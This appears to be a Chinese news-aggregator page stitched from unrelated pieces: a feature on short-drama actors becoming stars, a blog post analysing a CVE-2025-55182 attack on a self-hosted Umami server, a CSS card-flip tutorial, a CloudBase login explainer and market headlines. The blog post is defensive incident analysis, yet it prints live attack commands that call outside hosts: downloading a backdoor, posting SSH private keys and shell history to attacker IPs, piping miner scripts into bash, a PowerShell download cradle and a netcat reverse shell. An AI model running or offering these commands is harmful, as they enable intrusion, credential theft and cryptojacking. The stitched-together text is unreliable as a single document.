普通视图
高宏斌接任中国钢研科技集团董事长
七天挣百万,短剧演员的改命之路|深氪lite
作者 | 兰杰
编辑 | 乔芊
11月25日的太原武宿机场,被人群围得水泄不通。
他们为了短剧平台红果的创作者大会而来。机场行李转盘处的十余块大屏上,是短剧演员王格格的应援海报——这里的广告只能一周起投,价格需要数万元;还有粉丝花费数千元换取一个进场名额,但这次活动其实根本没有开放售票。
一辆车身贴满演员张翅写真的红色大巴,从上午十点半到下午六点半一直在活动场外绕行。它是粉丝们豪气包下的,并不用于载客,只为了能让更多人看到车身上的演员。
王格格和张翅,是受邀参加红果创作者大会的数十位短剧演员中的两位。他们之中,如今最声名鹊起的是刘萧旭,他凭借9月上线、播放量突破40亿次的新晋爆款短剧《盛夏芬德拉》,成为短剧界顶流。主办方红果特意安排刘萧旭在红毯环节压轴出场。
相似的追星场景还出现在了11月初横店的微短剧之夜上。
将时间的指针往回拨三年,这幅景象是难以想象的。那时候,没有任何一个奖项、晚会或是长剧,会让短剧演员们成为主角。
主角们仿佛咸鱼翻身。有过爆款剧集傍身的短剧演员,日薪从数千元提升到了数万元,并且开始接数百万元的商务代言。长剧行业也开始向这些曾经并不在意的存在,抛出橄榄枝。
粉丝们也为之冲锋陷阵。《盛夏芬德拉》大热,作为另一位短剧顶流柯淳的忠实粉丝,浅夏在网上发现了大量拉踩的帖子,充满了“柯淳凉了”、“柯淳比不上刘萧旭”的论调。她的工作之一就是举报这些负评,同时发布好评。她所在控评群有近200人。
一位资深影视行业人士向36氪表示,如今短剧顶流的地位,与传统影视行业的二线乃至一线演员相当——相较于以往短剧与长剧乃至电影有“壁”的状态,破圈的爆款作品为短剧演员贡献了一块敲门砖,“把握住了又能抗流量,就可以成为一线演员。”
三年前,在强行“降智”的短剧时代,演员只是流水线上微不足道的人。直到好的剧本、角色和镜头语言出现,短剧演员才真正拥有了姓名,以及声名。
无人在意的短剧演员
历史总是惊人的相似。
1910年,电影已经开始受到华尔街资本的青睐,但演员在美国乃至世界的地位却很低,以至于有旅店公然悬挂"狗与演员不得入内"的告示。这种歧视性待遇迫使演员们拒绝在影片中署名,制片厂老板们乐见其成,因为这能有效遏制演员片酬的上涨。
但这些无法阻止观众们对于演员的喜爱,他们干脆用制片厂的名字给自己喜欢的演员命名,“维太格拉夫女郎”“比沃格拉夫女郎”等称号应运而生,弗洛伦斯·劳伦斯就是当时的“比沃格拉夫女郎”。
精明的美国电影制片人卡尔·莱姆勒由此嗅到了商机,这位深谙营销之道的策划者,先是炮制出弗洛伦斯“意外身亡”的虚假新闻,待舆论发酵后,又安排本尊现身辟谣。这场精心策划的“生死闹剧”成功引起了整个美国的关注,好莱坞首位真正意义上的明星就此诞生。
回看短剧明星崛起的过程,与电影行业颇有些相似之处。
2023年初,短剧行业的草莽之色还未褪去,靠着粗制滥造但足够爽的内容,创造了一个新的风口。
也是这一年,脱胎于番茄小说的红果短剧横空出世,凭借免费模式和大力出奇迹的投流手段,验证了字节模式的又一次成功。
有接近红果短剧的人士向36氪表示,番茄小说和红果短剧业务负责人张超的风格,是谋定而后动,他喜欢做那些被行业验证过的、成功的生意,短剧就是这样一门生意。为了抢夺用户,彼时的红果短剧团队成功申请下来了1000万元/天的消耗预算,不计亏损。
后来的故事已经行业皆知——番茄小说用了四年的时间,实现了近亿的日活和近2亿的月活,而红果短剧追上这一成绩的时间,不过一年多。
对比之下,2023年的电影市场还未从疫情的打击中恢复过来。长剧行业押注需要重金投入的S级剧集,却被短剧这一七天完成拍摄、月余就能回本的新事物,打了个措手不及。
演员刘博洋就是在那时候进入短剧行业的。
对于科班出身、有过传统影视拍摄经验的刘博洋来讲,那是一个落差极大的场景。
以往拍电视剧时往往有上百号人参加的开机仪式,在短剧这里变成了十几人,蛋糕、水果、幕布、红包和专业的拍摄设备都没有,只有两台单反相机孤零零地立在那里。一股巨大的恐慌感涌上他的心头,“我是不是在退步?”刘博洋如此想到。
开机仪式上的合照环节,摄影师大喊“3!2!1!”,刘博洋却第一时间低下头,他当时最怕的就是拍照,怕合照被发到朋友圈里后有熟悉的人认出来。
这还只是一个开始。“非常之离谱”,刘博洋回忆那时候的短剧剧情,他需要对女主扇巴掌、掐脖子,还要让女主给女二女三换肾换血。
到现场的第一天,他就向导演抗议,说这个本子不合理。导演回应他,“我也知道不合理,但没办法,这就是一个任务。”
无数任务落到剧组里,让刘博洋难以消化,也成就了行业的黄金时刻。
将节奏调到最快,以情绪为核心的短剧,在2023年创造了8天流水破亿的商业奇观,整个行业规模相较于去年同期膨胀了近3倍。
但那时候短剧的商业模式并不健康,80%-90%的收入要用来投流,制作方和发行方分剩下的为数不多的那部分,为了多挣点,大家只好尽可能压缩拍摄时间。
这背后是整个行业的过劳,包括演员。
从2020年毕业到2023年,刘博洋经历了整整三年无戏可拍的情况,进入到短剧行业之后,他不敢停下来,也不敢挑本子。
2023年年中,每天只能睡两三个小时的生活,刘博洋过了三个月。拍短剧之初,为了完成繁重的拍摄任务,他需要凌晨五点起床,拍到晚上快十点甚至半夜两点,回到酒店还要看剧本准备第二天的戏份。
那时候恰逢歌手李玟去世,他形容彼时的状态——极度疲惫之下,“脑子是空的,没有情绪,也没有任何欲望。”
同为演员的李婧也有类似的感受。她戏称,短剧演员是没有“拉屎自由”的——在拍摄现场,去厕所是需要请假的,久一些就会有人来催。怕耽误拍摄进程,她宁愿少吃点东西,尽量不在拍摄的时候上厕所,或者挤在十几分钟的吃饭时间里一起解决掉。
与这种繁忙、高产的状态形成对比的是,人们记得2023年充值过亿的短剧叫《无双》,但却记不住屏幕里做出夸张表情的演员们姓甚名谁,更重要的是下一个巴掌何时响起。
与传统娱乐圈普遍用老师互相称呼的情况不同,短剧拍摄现场更多是用女主、男主、女二、男二这样的称谓叫人。那时候短剧拍摄的时间太短,平均七天可以拍完一部,工作人员也在不停地换,演员可能要同时跑多个组,记住名字太难。
一位短剧编剧还告诉36氪,在短剧创作过程中,有着不成文的权力排序,除了离钱最近的投资方以外,编剧是最具有话语权的,因为付费时代每一个刺激用户拿钱的“钩子”都是编剧埋下的,演员则排在这个链条中的最末端。
但从2024年下半年到现在,一些情况正在改变。
超级明星的诞生
在弗洛伦斯·劳伦斯的故事里,粉丝的喜爱是巨星诞生的起点,短剧行业也不例外。
11月初横店短剧活动的现场有过这样一幕——四五位从外地赶来、看起来已经五十余岁的中年女性,围守在短剧演员离场的通道出口,她们手捧大束鲜花,身旁还放着装满应援物料的行李箱。
黑车已经往返接送了五六批客人,她们依然耐心等待。当被问及喜欢的是哪位明星时,一位粉丝亮起的手机屏幕已经给出了答案。
数小时后,目标演员终于出现。她们开始大喊“乖乖”,无视保安的询问,灵活地绕进场内,将那位演员团团围住。
![]()
横店微短剧之夜散场后,几位中年女性与偶像正在合影,作者拍摄
作为短剧演员的白野,今年以来也有过被追的经历。
一开始,白野还以为是隔壁剧组相识的工作人员在叫她,但是穿过人群,她看见的是两个陌生的、打扮精致的女生。
这是两位从杭州到横店来探班的粉丝,她们一直安静地隐在人群中。直到白野结束了一场戏的拍摄,准备换场的时候,她们才开口叫“小野”,白野的昵称。
这些改变出现的过程中,有一个节点性的人物——柯淳(本名“赵柯淳”)。
2025年2月,春节刚刚在电影市场过于冷清的讨论声中结束,刘博洋正在剧组里拍戏,突然有人喊有部剧爆了,叫《好一个乖乖女》。没多久,组里的演员、摄影老师甚至是场务都开始讨论这部剧。
上线7天,《好一个乖乖女》总观看量突破10亿,主演柯淳的粉丝暴涨超150万,有关他的词条开始与传统影视明星一样频繁登上微博热搜。
浅夏去年9月就已经开始喜欢柯淳,但是在偶像爆火以后,她甚至挤不进粉丝群。
相较于传统影视明星多在微博上和粉丝互动,短剧明星和粉丝的大本营在抖音。今年2月以来,为了能获得一手资讯,浅夏曾连续三个月,几乎每天都在尝试进群。但有相同想法的人太多,上限1000人的抖音群,柯淳建了五六十个,浅夏一回都没申请成功过。最后她只好支付上千元的年费,进了付费群。
更引人注目的是,柯淳还像一位传统影视明星那样,获得了时尚杂志、长剧综艺乃至品牌方的认可。
今年以来,柯淳先后成为综艺《无限超越班》第三季的学员,担任了护肤品牌FunnyElves的“品牌挚友”,登上了《时装男士》的杂志封面,11月还进组了赛车题材长剧《炽夏》,在其中饰演男二号。
据业内人士估计,柯淳的片酬大概在数百万元左右,相当于他按照顶流短剧演员的片酬拍上数十部短剧的收入。
刘博洋如此形容看到短剧明星出现的感受,“挺替他高兴的,觉得拍短剧有希望了,我们这个行业的演员也是能被人看到的。”从前,他拍短剧只是为了生计,但现在,他希望可以成为这个行业的头部。
更远的未来,短剧演员们仍希望可以回到传统影视行业,那里承载着真正的明星梦,在那之前,更重要的是可以拿到好本子,拍出下一部爆款。
柯淳之前,不是没有过被记住名字的短剧演员。2023年7月,一部名为《哎呀,皇后娘娘来打工》的短剧上线,随后取得了累计充值流水超2亿元的成绩,也捧出了“短剧女王”徐艺真。
只是那时候,作为初代短剧“顶流”,徐艺真的飞升不过是日薪从数千涨到了数万元。直到柯淳的出现,一个具有综合商业价值的短剧明星才是真的诞生了。
柯淳与《好一个乖乖女》出现的时间也颇为巧妙。今年年初,正是短剧市场大盘从付费模式转向免费模式的节点。“《好一个乖乖女》证明了免费(短剧)的盘子足够大,也证明了短剧演员可以破圈。”一位从业者如此表示。
追溯这些剧变的原点,监管是一个绕不开的原因。
2023年年底以来,广电总局针对短剧中存在的问题出台了一系列管理政策,粗制滥造的内容逐渐成为历史,行业开始向精品化转型。精品短剧保留了长剧难以企及的情绪密度,同时补上了剧情的短板,成为可以承载用户们复杂情感的产品。
在这一过程中,行业开始寻求更专业的演员和更完整的人物塑造。
头部短剧厂牌听花岛负责人在分享会中表示,今年以来短剧的趋势之一,就是剧中的角色从工具人变成了人物,“我们最重要的使命是塑造人物”。
与此同时���以红果短剧为代表的免费模式降低了受众观看门槛,短剧的用户规模仍在上涨。根据QuestMobile的数据显示,截至今年9月,红果月活达到2.36亿,正式超越B站和优酷。
当基本盘足够大,大浪淘沙之下,能脱颖而出的是足够好的作品、角色和演员。
抢人大战开始了
拥有了流量的演员们,开始拥有话语权。
对于短剧演员来说,谋求更好的职业发展,会去拍长剧;想要更多的流量,会选择红果自制剧。如此一来,短剧公司们想要约到合适演员的档期,变得越来越难。
一位短剧行业的从业者向36氪表示,他们8月筹拍的一部短剧,合适演员的档期已经排到了明年。即便是非头部的演员,都需要提前两三个月预约。以至于现在短剧行业内普遍存在的情况是,没有自己的演员,就开不了新剧。
专业素质好且自带流量的演员,对于短剧公司来讲也越来越重要。
与精品化趋势一起到来的是抬升的成本,和仍旧难以捉摸的爆款定律。想要花费了上百万元的精品短剧不扑街,短剧明星成为了诸多不确定性中的确定性。
“观众消费情绪,来得快去得也快,但是他消费一个角色,会持续更久,对应的产品也更有价值。”艺粲传媒的CEO加菲向36氪表示 。
如今许多剧组发通告,会直接要求短剧演员自身的粉丝数量,尤其是红果平台上的。更不必提,短剧明星的商业价值也已经得到了验证。
![]()
一位“卖粉丝”商家的朋友圈,受访者供图
于是,行业内的抢人大战拉开了序幕。
河马星驰艺人经纪负责人春子找上刘博洋的时候,已经是今年7月,那时候最头部的短剧演员已经被抢完了。
签下刘博洋,本是志在必得的事情,因为前者拍过多部河马星驰的短剧,与公司的合作由来已久。
但谈判期间,刘博洋突然告知春子,还有十几家行业头部的短剧公司和MCN机构找上来,询问他的签约意愿——位于行业中腰部的演员,也炙手可热。
听完后,春子心里“咯噔”一下,但他很快冷静下来,明白这是一场必须要面对的竞争。
一周的时间,春子和刘博洋打了四通电话,最后一次终于把签约的事情敲定。怕生出变故,确认签约的第二天,春子就把连夜修改好的合同发了过去,给出了几乎是行业内最好的条件,还将原本承诺的个人IP宣传提前了半个多月。
李婧也同样感受到了这场抢人大战的激烈。从今年年初到现在,陆续有近二十家公司和个人找上来,想和她签约。就在和36氪沟通的过程中,李婧也小红书个人账号上还收到了一条私信,询问她是否有合作意愿。
有一次几乎要谈成了,两人电话聊了一个多小时,但最后还是没能达成一致,“对方甚至连我面都没见过,就说要线上签约。”这让李婧也心中警铃大作。
麦芽传媒的短剧经纪负责人琴声声向36氪表示,那时候行业里很多公司为了抢到人,甚至会“画饼”,许诺自己根本做不到的条件,“总之先想办法和这个人绑定。”
那时候她去聊演员的时候,对方会表示:我不缺戏、不缺资源,更不缺想和我签约的公司。
拥有庞大流量的红果短剧,还在加速这一进程。
今年9月,红果自制推出了针对短剧演员运营机构和演员的分账激励政策。11月20日,官方首次对外公布了详细的演员分账数据——有三位短剧演员分账超百万元。
红果通过高额分账拉拢演员、编剧等创作端的人才以服务自制内容,本质上是因为不想只赚平台这一份钱,而是瞄准了整条产业链。这条路径早在番茄小说崛起的过程中,就已经走过一遍。据接近字节人士消息,如今后者的内容供给中,原创占比已经达到了85%。
即便签约了公司,短剧演员仍可以选择拍摄外部的项目,此时红果短剧抛出了诱人的分账,让行业本就不富裕的演员产能更加紧张,片方们都绷紧了神经。
对此听花岛负责人表示,现在行业内S+级别的演员,与红果短剧的分账比例可以达到18%,A和A+级演员,分账比例在5%-10%之间。按照这样的比例,头部短剧演员可以像拍长剧那样轻松拿到百万片酬,也会更倾向于将有限的时间贡献给红果自制的项目,而非自家公司剧集。“让人崩溃,制作公司成了给演员打工的。”
但为了有剧可拍,没有公司可以避开布局经纪业务的大势。
新的爆款,新的希望
各大短剧厂牌还在积极布局经纪业务时,新的超级明星又出现了。
9月,《盛夏芬德拉》创下了最快破30亿播放量的记录。
30亿播放量意味着什么?以《盛夏芬德拉》82集的体量计算,其集均播放量高达3659万,足以与长剧领域的头部作品并肩。根据云合数据信息,9月上新的长剧集中,《盛夏芬德拉》的集均播放量仅次于爆剧《许我耀眼》,大幅领先位列TOP2的《沉默的荣耀》。
这是又一部精品短剧,光成本就有约200万元,成功塑造了隐忍、克制又深情的周晟安一角。饰演者刘萧旭的人气也随之飙升,社交媒体账号涨粉超百万,还在机场遭到了粉丝的围堵。另据业内人士消息,红果曾为这部短剧追加了200多万元的宣发。
![]()
爆剧《盛夏芬德拉》,红果App截图
一个新的流量神话又诞生了,随之而来的是扑面的财富机会。
刘萧旭所属的公司是艺粲传媒,其CEO加菲与36氪交流时,穿着半小时前刚从优衣库买的羽绒服,一脸疲惫——10月底的北京已经很冷,但他前一天晚上才从成都飞过来,一天要见上五个人。
剧火了之后,找上艺粲传媒洽谈的商务数量有几百个,包含了美妆、个护和饮料等品类。甚至还有一个新兴的汽车品牌。但对方要求的档期和刘萧旭进组的时间撞了,还是推掉了。
期间加菲还拒绝了不少销售属性重的商务邀约,“感觉不太符合老刘的气质,不想什么钱都挣。”
相较于从“草根”状态出来的柯淳,刘萧旭成名的背后,有一套成熟的运营体系。
加菲告诉36氪,过去一年间,刘萧旭的背后,有一个专门的运营团队,包含编导、拍摄、剪辑、账号运营和粉丝运营共计五人。包括人员成本在内,公司过去一年间在刘萧旭身上的投入,迄今没能回本。
艺粲传媒在短剧经纪上走的是“小而精”的路线,在今年4月正式成立之后,签约的演员还未超过十人,新签下的两人还是刘萧旭上一部爆剧《幸得相遇离婚时》的男二和女二。
这在其他公司是难以想象的。大多数短剧公司的经纪业务更贴近中台性质——让十余人的团队一起服务数十个艺人。
加菲本人也有着丰富的IP创作和运营经验。早在2016年,他就做出了全网粉丝量达1.5亿的IP——“一禅小和尚”。这让他在运营刘萧旭这一IP时,很得心应手。
一年前,刘萧旭参演的《深情诱引》上线,只出场了五分钟,却受到很多观众的好评。加菲敏锐地捕捉到这一点,在短剧上线的第二天就亲自下场做了一个角色混剪视频,发在了公司和刘萧旭的个人账号上,积累了第一批“原始股”粉丝。
接下来的一整年,加菲及其团队都在围绕这一角色更新小剧场,主打“人夫感”,这也是周晟安(剧中角色)与刘萧旭本人共通的特质。加菲精准地意识到了这一点,“从内核上来讲,他就是一个很传统的山东男人,那种克己复礼的感觉是流淌出来的。”
因为这一整年的铺垫,粉丝们在《盛夏芬德拉》出来之后,对演员和角色的情绪到达了一个峰值,也捧出了又一颗新星。
刘萧旭爆红的背后,也让已经走出草莽时代的短剧行业,不再等待幸运与奇迹的降临。公司们期望可以摸清流量的规律,创造出下一颗短剧新星。
11月初的微博视界大会上,走上红毯的有杨幂、王鹤棣等知名明星,以及柯淳、余茵以及艺粲传媒旗下的王格格等短剧顶流。加菲为她请来了数万元一天的明星化妆师和摄影师,“很贵,但是格格值得!”
河马星驰则为刘博洋打出了“短剧渣男第一人”的称号,因为过去他扮演的许多角色都是“追妻火葬场”类型。刘博洋本身是一个相对谨慎的人,但他还是同意了这一冒险的宣传策略,因为比风险更可怕的是,在一众“霸总”里没有差异化和辨识度。
仍有一些阴影盘踞在这些闪耀明星的头顶。
短剧明星的更新迭代极快,不过一年多的时间,初代短剧顶流徐艺珍、孙樾等已经淡出观众视野。红果App上演员热度榜单的前十名,也几乎是月月更新。
还有多位短剧行业的从业者和观众向36氪提及,相较于传统影视圈人设靠包装、日薪达百万的明星们,短剧明星具有的竞争力是更接地气,只是这一优势伴随着行业造星的趋势也在减弱。
但在真正的危机到来之前,这些“微不足道”的波折并不影响大家期待“下一个柯淳”、“下一个刘萧旭”的诞生。
曾经灰暗的日子已经被抛到了脑后。
刘博洋笑着分享了一个小故事——一位同行曾经带着恶意询问他:“怎么拍起了短剧?”如今对方问的是:“还有机会进来吗?”
(应受访者需求,浅夏、春子、加菲为化名。)
React RCE 漏洞影响自建 Umami 服务 —— 记 CVE-2025-55182
本文地址:blog.cosine.ren/post/react-…
我对安全方面的知识很少,本文大部分可能有很多错漏,如有错漏希望能指出。
2025 年 12 月 3 日,React 发布了一个堪比当年 Log4j 的严重安全漏洞:CVE-2025-55182,CVSS 评分 10.0 满分!
这是 React 历史上最严重的漏洞之一,允许未经身份验证的远程代码执行(Unauthenticated RCE)。
刚收到安全通告,我就马上更新了所有已知的 Next.js 和 React 应用,以为这些应该没事儿了。
结果今天突然发现自建的 Umami 服务 504 了才想起来,沃日,它是 Nextjs 写的啊!!
![]()
虽然是在 docker 里跑的,并且炸的是我一个不常用的服务器,最大的损失是 CPU 占用率突然飙到 100% 了一段时间,统计数据丢了不少,密码什么的都是随机生成的,换就好了。
随便找了一篇博客看看别人的情况:
解决方案
先把最终的解决方案放到最前面。
升级 Umami,首先使用 pg_dump 备份 Umami 的 PostgreSQL 数据库。这里有几种方法:
# 备份到当前目录
docker exec umami-db-1 pg_dump -U umami umami > umami_backup_$(date +%Y%m%d_%H%M%S).sql
# 或者备份到指定目录
docker exec umami-db-1 pg_dump -U umami umami > ~/backups/umami_$(date +%Y%m%d).sql
然后,因为我是 docker-compose 部署的,直接:
docker compose pull
docker compose up --force-recreate -d
就可以了,查看容器日志中的 Next.js 已经是 15.5.7 版本。
![]()
如果你数据库使用的是 mysql 的话,那不要升 3,看官方的迁移教程
漏洞背景
- CVE 编号: CVE-2025-55182
- CVSS 评分: 10.0 / 10.0(Critical)
- 漏洞类型: 未经身份验证的远程代码执行(Unauthenticated RCE)
- 披露时间: 2025 年 12 月 3 日
- 官方公告: React Blog
受影响的版本
React 核心包(19.x 版本):
19.0, 19.1.0, 19.1.1 和 19.2.0
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
受影响的框架:
- Next.js: 14.3.0-canary.77 及之后的版本,15.x, 16.x 全都需要升到最新版本
- React Router: 使用 unstable RSC APIs 的版本
- Waku: 使用 RSC 的版本
- Expo: 使用 RSC 的版本
- Redwood SDK: < 1.0.0-alpha.0
漏洞原理
React Server Functions 允许客户端调用服务器上的函数。React 将客户端请求转换为 HTTP 请求发送到服务器,在服务器端 React 再将 HTTP 请求反序列化为函数调用。
关键问题:攻击者可以构造恶意的 HTTP 请求到任何 React Server Function 端点,当 React 反序列化这些 payload 时,会触发任意代码执行。
// 简化的漏洞示意(实际更复杂)
// 服务器端的 React Server Function 处理
function handleServerFunctionRequest(payload) {
// ❌ 危险:直接反序列化未验证的 payload
const deserializedData = deserialize(payload);
// 如果 payload 被精心构造,这里可能执行任意代码
return executeFunction(deserializedData);
}
关键威胁:
- 无需身份验证(Unauthenticated)
- 远程代码执行(RCE)
- 即使没有定义任何 Server Function,只要使用了 React Server Components 就有风险
攻击手段
既然攻击都已经攻击了,那不如趁机让 AI 分析容器日志,借此机会深入分析一下攻击者到底想干什么。
以下攻击手段汇总等,全为 Claude Sonnet 4.5 根据日志文件进行分析得出的总结,如有错漏,还请指出。
攻击入口:React Server Components RCE
从日志中可以看到大量的 NEXT_REDIRECT 错误:
⨯ Error: NEXT_REDIRECT
at Object.eval [as then] (node_modules/next/dist/compiled/next-server/app-page.runtime.prod.js:92:34014) {
digest: '12334\nMEOWWWWWWWWW'
}
这是漏洞利用的标志性特征:
-
digest: '12334\nMEOWWWWWWWWW'- 这不是正常的错误摘要 - 攻击者通过构造恶意 payload 触发 React Server Components 的反序列化漏洞
- 每次 NEXT_REDIRECT 错误后都跟着一系列的系统命令执行尝试
漏洞利用与初始访问
攻击者首先利用 CVE-2025-55182 获得代码执行能力,然后立即尝试下载后门程序:
Connecting to 193.34.213.150 (193.34.213.150:80)
wget: can't open 'x86': Permission denied
chmod: x86: No such file or directory
/bin/sh: ./x86: not found
攻击流程:
- 向 React Server Function 端点发送恶意 payload
- 触发反序列化漏洞,执行
wget命令 - 尝试从 C&C 服务器下载
x86恶意程序(一个 Linux ELF 二进制文件) - 尝试赋予执行权限并运行
如果成功会怎样?
# 攻击者想做的事情(被阻止了)
wget http://193.34.213.150/x86
chmod +x x86
./x86 # 这会安装一个后门程序
凭证窃取
攻击者想要窃取所有有价值的凭证:
# 尝试 1:窃取 SSH 私钥
Connecting to 23.19.231.97:36169 (23.19.231.97:36169)
wget: can't open '/root/.ssh/id_rsa': Permission denied
wget --post-file=/root/.ssh/id_rsa http://23.19.231.97:36169/222
# 尝试 2:窃取 ECDSA 私钥
wget --post-file=/root/.ssh/id_ecdsa http://23.19.231.97:47023/222
# 尝试 3:窃取命令历史(可能包含密码)
cat: can't open '/root/.bash_history': Permission denied
wget --post-data="$(cat /root/.bash_history)" http://23.19.231.97:44719/222
这是整个攻击中最恶毒的部分:
- SSH 私钥可以让攻击者横向移动到其他服务器
-
.bash_history可能包含:- 数据库密码
- API 密钥
- 云服务凭证(AWS、GCP 等)
- 内部系统地址
持久化后门
攻击者尝试建立多个后门以保持访问:
# 伪装成健康检查脚本
sh: can't create /dev/health.sh: Permission denied
chmod: /dev/health.sh: No such file or directory
# 尝试从多个源下载恶意脚本
(curl -s -k https://repositorylinux.xyz/cron.sh || \
wget --no-check-certificate -q -O- https://repositorylinux.xyz/cron.sh) | bash
# Windows PowerShell 编码命令(自动化脚本)
powershell -EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAC4ALgAu
解码 PowerShell 命令:
# Base64 解码后的内容
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://repositorylinux.xyz/script_kill.ps1')
这是一个跨平台攻击:同时尝试 Linux (bash) 和 Windows (PowerShell) 命令。
加密货币挖矿
最耗资源的部分 - 这就是 CPU 飙到 100% 的原因:
# C3Pool 挖矿池安装脚本
curl -sLk https://gist.githubusercontent.com/demonic-agents/39e943f4de855e2aef12f34324cbf150/raw/e767e1cef1c35738689ba4df9c6f7f29a6afba1a/setup_c3pool_miner.sh | \
bash -s 49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKkXERKUB7pXqBHfK1CcjLtMMnTF3J12KZJ83EQCBjT75Stbv
# XMRig Monero 挖矿程序
powershell -EncodedCommand [Base64 encoded mining script]
挖矿攻击特征:
- 钱包地址:
49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKk...(Monero) - 矿池:C3Pool
- 这会消耗所有 CPU 资源,导致:- 服务响应缓慢 - 服务器宕机 - 云服务账单暴增 (还好是自己服务器)
反向 Shell
尝试建立远程控制:
rm: can't remove '/tmp/f': No such file or directory
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 171.252.32.135 7700 >/tmp/f
反向 Shell 技术分析:
# 这是一个经典的命名管道反向 shell
mkfifo /tmp/f # 创建命名管道
cat /tmp/f | bash -i 2>&1 # 从管道读取命令并执行
| nc 171.252.32.135 7700 # 通过 netcat 连接到 C&C 服务器
>/tmp/f # 将输出写回管道
如果成功,攻击者就可以:
- 实时控制服务器
- 执行任意命令
- 窃取实时数据
- 作为跳板攻击内网
攻击指标(IoC)汇总
| 类型 | 值 | 用途 |
|---|---|---|
| 恶意 IP | 193.34.213.150 | 恶意软件分发 |
| 恶意 IP | 23.19.231.97 | 数据窃取服务器 |
| 恶意 IP | 89.144.31.18 | 备用恶意服务器 |
| 恶意 IP | 171.252.32.135 | 反向 Shell C2 |
| 恶意域名 | repositorylinux.xyz | 脚本分发 |
| 恶意域名 | dashboard.checkstauts.site | 监控代理 |
| GitHub Gist | demonic-agents/39e943f4... | 挖矿脚本 |
恶意 IP 地址
| IP 地址 | 用途 | 威胁等级 |
|---|---|---|
| 193.34.213.150 | 恶意软件分发(x86 二进制文件) | 🔴 Critical |
| 23.19.231.97 | 数据窃取服务器(SSH 密钥、历史记录) | 🔴 Critical |
| 89.144.31.18 | 备用恶意服务器 | 🟠 High |
| 171.252.32.135 | 反向 Shell C&C 服务器 | 🔴 Critical |
恶意域名
| 域名 | 用途 | 威胁等级 |
|---|---|---|
| repositorylinux.xyz | 恶意脚本分发(cron.sh, linux.sh, firewall.sh) | 🔴 Critical |
| dashboard.checkstauts.site | 监控代理/数据收集 | 🟠 High |
恶意资源
| 资源 | 类型 | 用途 |
|---|---|---|
| github.com/demonic-agents/39e943f4... | GitHub Gist | C3Pool 挖矿脚本 |
| 49Cf4UaH5mVF2QCBRECpwSWV1C6h... | Monero 钱包 | 挖矿收益地址 |
为什么所有攻击都失败了?
因为还好是 Docker 跑的,Docker 容器权限隔离,我的 Umami 容器:
- 非 root 用户运行,无法写入系统目录
- 只读文件系统,无法创建恶意文件
- 丢弃所有 Linux Capabilities
- 禁止提权操作
Permission denied (重复 100+ 次)
几乎所有攻击操作都遇到了权限拒绝:
- 无法写入
/root/.ssh/ - 无法在
/dev/创建文件 - 无法在
/tmp/创建管道 - 无法执行下载的二进制文件
/bin/sh: bash: not found
/bin/sh: powershell: not found
spawn calc.exe ENOENT
容器是最小化镜像,不包含 bash,这导致许多攻击脚本无法执行。
参考资料
“鹿明机器人”完成Pre-A1和Pre-A2轮融资
特朗普拟宣布120亿美元援助计划支持农户
Antero Resources据悉就收购HG Energy接近达成协议
“演生潮”完成A轮融资数亿元
恒指午间休盘跌1.1%,恒生科技指数跌0.24%
css及js实现正反面翻转
一、两种翻转方式:
结构
<div class="card">
<div class="front">正面</div>
<div class="back">背面</div>
</div>
<button class="flip">翻转</button>
鼠标悬停:通过CSS的:hover伪类实现
- transform-style: preserve-3d:这是3D变换的关键,确保子元素在3D空间中变换,而不是被压扁到2D平面
- backface-visibility: hidden:隐藏元素的背面,这是实现"卡片翻转"效果而非"内容镜像"的关键
- .back { transform: rotateY(180deg); } :背面初始旋转180度,使其朝后隐藏
- transition: transform 0.6s:为transform属性添加0.6秒的过渡动画,使翻转过程平滑
.card {
width: 200px;
height: 200px;
position: relative; /* 设置为相对定位,作为子元素的定位基准 */
transform-style: preserve-3d; /* 保持3D变换效果,使子元素在3D空间内变换 */
transition: transform 0.6s; /* 添加transform属性的过渡效果,持续0.6秒 */
}
.front, .back {
position: absolute; /* 绝对定位,使正反面重叠 */
width: 100%;
height: 100%;
backface-visibility: hidden; /* 隐藏元素的背面,防止翻转时看到镜像内容 */
}
/* 正面样式 */
.front {
background-color: lightgreen; /* 正面背景色为浅绿色 */
}
/* 背面样式 */
.back {
background-color: lightblue; /* 背面背景色为浅蓝色 */
transform: rotateY(180deg); /* 初始状态旋转180度,使背面朝后隐藏 */
}
/* 鼠标悬停效果 */
.card:hover {
transform: rotateY(180deg); /* 鼠标悬停时,卡片沿Y轴旋转180度 */
}
按钮点击:通过JavaScript事件监听实现
-
通过
querySelector获取卡片和按钮元素 -
为按钮添加点击事件监听器
-
使用条件运算符切换卡片的翻转状态:
- 如果卡片已有transform样式,则清除(返回正面)
- 如果卡片没有transform样式,则添加
rotateY(180deg)(翻转显示背面)
// 获取DOM元素
let card = document.querySelector('.card'); // 获取卡片元素
let flip = document.querySelector('.flip'); // 获取翻转按钮元素
// 为翻转按钮添加点击事件监听器
flip.addEventListener('click', function() {
// 条件判断:如果卡片当前有transform样式,则清除(恢复正面)
// 如果卡片当前没有transform样式,则添加翻转样式(显示背面)
card.style.transform ? card.style.transform = '' : card.style.transform = 'rotateY(180deg)';
});
水资源费改税成效显著,新扩围省份地下水和特种取用水量明显下降
广州3宗涉宅用地22.8亿元低价成交
半日主力资金加仓电子、通信股,抛售公用事业股
【你可能不知道的开发技巧】一行代码完成小程序的CloudBase鉴权登录
登录鉴权基本概念
登录功能=登录页UI+登录逻辑+会话管理
登录的本质是让小程序知道用户是谁。
一行代码完成CloudBase的鉴权登录,初始化云开发环境即可调用云开发能力。
基于微信原生API的自动鉴权机制,调用云开发服务时系统自动识别当前用户openid并完成身份验证,省去繁琐的手动获取openid步骤。
功能优势
- 用户行为追踪: 便于分析未注册用户行为数据
- 降低用户使用门槛: 提升转化率和用户体验
其他三种常见登录方式
- 账号密码登录
- 短信验证码登录
- 邮箱验证码登录
相比于微信原生方式,CloudBase方便在哪?
- 无需从零开始构建用户认证系统,CloudBase提供了完整的认证流程。
- 无缝集成CloudBase资源,安全性有保障。
- 无需自行维护复杂的登录态token。
- CloudBase支持自定义登录,业务扩展后能平滑迁移。
优必选旗下公司等在北京成立天优机器人公司,注册资本1000万元
A股三大指数午间休盘集体上涨,天孚通信涨停
